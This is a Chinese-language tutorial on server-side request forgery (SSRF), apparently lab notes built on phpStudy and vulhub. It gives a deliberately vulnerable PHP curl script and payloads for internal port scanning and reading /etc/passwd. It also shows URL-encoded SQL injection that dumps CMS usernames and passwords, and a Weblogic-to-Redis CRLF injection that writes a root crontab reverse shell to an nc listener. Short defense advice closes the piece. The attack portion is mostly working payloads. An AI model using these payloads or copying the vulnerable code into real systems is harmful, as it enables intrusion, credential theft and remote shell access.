服务端请求伪造

1. 概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL，Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造”的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side Request Forgery，简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

1.1.1 PHP 原理

curl（命令行工具），wget都是命令行下的浏览器，模拟浏览器

CURL下载网络资源：curl+空格+资源地址+-O

wget下载网络资源：wget+资源地址

利用curl 实现，需要PHP 扩展组件curl 支持。

<?php
//	ssrf_curl.php

if(isset($_REQUEST['url']))//判断是否提交了url这个参数，否则会提示提交url
{
    
    
	$link = $_REQUEST['url'];//url参数赋值给$link
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);//创建一个对象做curl对象的初始化
	$fp = fopen($fileName,'w');//初始化之后会打开一个文件，这个文件在curled文件夹下
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);//把请求的内容写到$fp中
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);//服务器通过提交的url发起请求
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName))
    {
    
    
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}
else
{
    
    
	echo "?url=[url]";
}

?>

将上述代码复制到部署了phpstudy的服务器上

使用浏览器访问curl.php网页

然后在url中输入?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

当我们向服务器提交URL的时候，服务器会代替我们发送请求（大多数时候是GET请求），如果这个请求是恶意的，并且服务器没有识别能力，那么可能会造成服务端请求伪造（SSRF）漏洞。如果说攻击者使用SSRF进行其他漏洞攻击的话（攻击者利用其他服务器，先向服务器提交URL然后服务器代替攻击者向被攻击者发出HTTP请求），那么被攻击者在受到攻击，进行攻击回溯的时候很难找到攻击者。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址，并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤，导致任意URL 输入。

没对响应的结果进行检验，直接输出。

1.3 SSRF 危害

端口扫描；
内网Web 应用指纹识别；
攻击内网应用；
读取本地文件；

2. SSRF 攻防

CTF：CTFHub

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

我们看到的不是真正的百度网页，我们看到的网站是192.168.16.136，而百度网页是192.168.16.136网址通过curl.php脚本通过提交的url地址访问到的内容给我们呈现出来的。

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:C:\phpStudy_20161103\WWW\ssrf\curl.php

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "C:\phpStudy_20161103\WWW\phpMyAdmin"> 
		#Order allow,deny
		Order deny,allow 
		deny from all
		allow from 127.0.0.1

</Directory>

通过修改httpd.conf内容，将上述代码复制到httpd.conf中的DocumentRoot（文档根目录）下

修改完httpd.conf后，将phpstudy重启，重新在其他客户机上访问本机地址

那么就会只允许127.0.0.1访问phpmyadmin

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

2.1.5 攻击内网web应用

内网安全通常都很薄弱。

通过SSRF 漏洞可以实现对内网的访问，从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

将cms设置为只允许127.0.0.1访问

<Directory "C:\phpStudy_20161103\WWW\cms"> 
		#Order allow,deny
		Order deny,allow 
		deny from all
		allow from 127.0.0.1

</Directory>

通过ssrf访问cms

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

?url=http://127.0.0.1/cms
?url=http://127.0.0.1/cms/show.php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
使用空格间隔的话会出错，不会回显。空格使用/**/代替

2.2 SSRF 实例

Weblogic SSRF 到GetShell

cd到vulhub/weblogic/ssrf下

sudo docker-compose up -d

访问本机地址的7001端口

访问

http://192.168.16.176:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search然后使用bp抓包，将数据包发到重发器，点击发送（send）

报错中有www-3.ibm.com而post请求数据包中提交的operator参数也有一条www-3.ibm.com，并且是在一条url中，那么此处很有可能存在ssrf漏洞

那么在dnslog中生成一个域名，测试operator参数会不会对其提交的数据进行解析（测试operator参数对其内容中的url会不会做出请求）

证明测试operator参数对其内容中的url做出请求

更换url为127.0.0.1再次尝试测试

可知80端口没有开放

在测试7001，7002端口

对本机端口进行探测，目标一般开的是docker环境。docker环境的内网IP范围：172.16.0.1，172.17.0.1，172.18.0.1，172.19.0.1

172.16.0.1:7001，172.17.0.1:7001，172.18.0.1:7001，172.19.0.1:7001结果一样，证明16，17，18，19，20都有7001端口

然而172.20.0.2没有开放7001端口，但是可能开放其他端口

有redis表示可以读取数据，写数据或写ssh公钥，获取webshell，周期性计划任务。因为80端22端没有开放，并且无回显，尝试写入周期性计划任务获得shell

使用瑞士军刀扫描21端口

nc -lnvp 21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.16.176/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

因为计划任务需要通过http提交，将计划任务进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

http://172.20.0.2:6379/xj%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Axj

点击提交，随后获得docker的反弹shell

2.3 SSRF 防御

2.3.1 过滤输入

限制协议，仅允许 http 或 https 协议；
限制IP，避免应用被用来获取内网数据，攻击内网；
限制端口，限制请求端口为常用端口。

2.3.2 过滤输出

过滤返回信息，只要不符合要求的，全部过滤；
统一错误信息，让攻击无法对内网信息进行判断。

3. SSRF 挖掘

Web 功能	URL 关键字
分享转码服务在线翻译图片加载与下载图片、文章收藏功能未公开的API 实现	share wap url link src source target u 3g display sourceURL imageURL domain